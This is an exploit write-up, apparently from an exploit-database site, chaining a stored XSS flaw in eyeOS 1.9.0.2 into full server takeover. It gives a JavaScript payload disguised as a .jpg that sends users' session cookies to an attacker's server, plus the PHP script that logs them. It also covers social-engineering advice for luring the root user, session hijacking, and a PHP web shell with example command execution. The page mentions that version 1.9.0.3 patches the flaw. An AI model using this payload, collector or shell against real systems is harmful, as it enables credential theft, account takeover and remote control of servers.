eyeOS Shell Upload / Cross Site Scripting



EKU-ID: 229 CVE: OSVDB-ID:
Author: expku Published: 2011-05-13 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


A few weeks ago, an exploit for an increasingly more popular open source OS on http://www.exploit-db.com/exploits/17220/ was made public, it was titled 'eyeOS <= 1.9.0.2 Stored XSS Vulnerability Using Image Files'. I wondered if more could be done than just plain old XSS...

Based on the PoC, I came up with nothing less than a way to collect the username and session cookie for eyeOS:

<!doctype html>
<script>
var http = new XMLHttpRequest()
var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie;
http.open("GET", url, true);
http.send("");
</script>

Once saved to a file such as 'filename.jpg', this file can be uploaded to eyeOS's 'Public' group directory from within eyeOS itself, where unsuspecting users can be lured into clicking the malicious file, triggering its payload. Social engineering can also be used by the attacker to get them to download and click on the file via eyeOS's internal messaging. By attaching the malicious 'jpg' file and a bit of social engineering, pretending to ask for help from the administrator of eyeOS (root) with a message such as: 'my image doesnt open, can you check plz?!' the root user for eyeOS can be compromised.

The following code will go on the malicious server as report.php (in this example):

<?php
$usercookies = fopen("usercookies", "a");
fwrite($usercookies, "User: " . $_GET['user'] . "\t" ."Cookie: " . $_GET['cookie'] . "\n");
?>

Once the image is clicked the file 'usercookies' will have usernames and cookies appended to it, looking something like this:
User: root@eyeos Cookie: PHPSESSID=5efd5cee3edd6ab65f4644036ee6cc34

The malicious attacker may use the following linux command to watch for new entries in real time:
`watch cat usercookies`

After which the user can register, sign into eyeOS, and then edit his cookie (with something like the 'Cookie Manager' add-on for Firefox) to reflect that of 'root', essentially becoming 'root' on eyeOS.

Once having administrator priviledges on eyeOS its pretty much game over, any and all files in the eyeOS directory tree maybe viewed, edited, or downloaded. A PHP shell can be uploaded through the standard eyeOS uploader to pretty much anywhere in the eyeOS directory tree, even real://../ (revealing 'EYE_ROOT' which was designed not to be viewed by other than the administrators of the eyeOS installation) can be viewed and uploaded to, ultimately gaining control of the server with the permissions of the service hosting eyeOS.

After uploading this shell:

<?php
system($_GET['cmd']);
?>

to real://../ it can be used like so:

http://localhost/eyeOS/shell.php?cmd=id

with the results as:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Other shells can be uploaded instead of this simple example.

The eyeOS 1.9 branch has been patched as of version 1.9.0.3, the code changes patching the XSS flaw may be viewed http://eyeos.svn.sourceforge.net/viewvc/eyeos?limit_changes=0&view=revision&revision=7188